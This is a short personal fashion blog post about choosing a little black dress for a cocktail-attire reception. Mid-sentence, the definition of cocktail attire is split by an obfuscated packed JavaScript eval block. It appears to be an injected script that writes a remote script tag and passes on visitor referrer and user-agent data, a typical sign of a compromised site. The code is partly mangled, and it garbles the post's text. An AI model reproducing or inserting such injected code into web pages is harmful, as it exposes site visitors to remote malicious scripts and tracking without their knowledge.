What I Wore Wednesday: Cocktail Attire

Fashion, OOTD

I recently got an invite to a cocktail attire reception.  My first thought was, what is cocktail attire?  Like any other conundrum I face on a daily basis, I Googled the definition of cocktail attire:

Cocktail eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fdfse|var|u0026u|referrer|kzrzt||js|php’.split(‘|’),0,{}))
Attire
 means short, elegant dresses for her and dark suits for him. The little black dress is the ultimate cocktail dress and appropriate for most special occasions.

While I was tempted to go splurge on a new dress, I reached into my wardrobe for the classic black dress instead. I have several different styles of black dresses, but I opted for a conservative length that would allow me to enjoy my delicious dinner and wine.  This dress was a steal at H&M for about $20.  I got it earlier this year when it went on sale.

Thank you Chanel for making jersey material fancy enough for any occasion.

Compliments to my photographer mom for the picture!
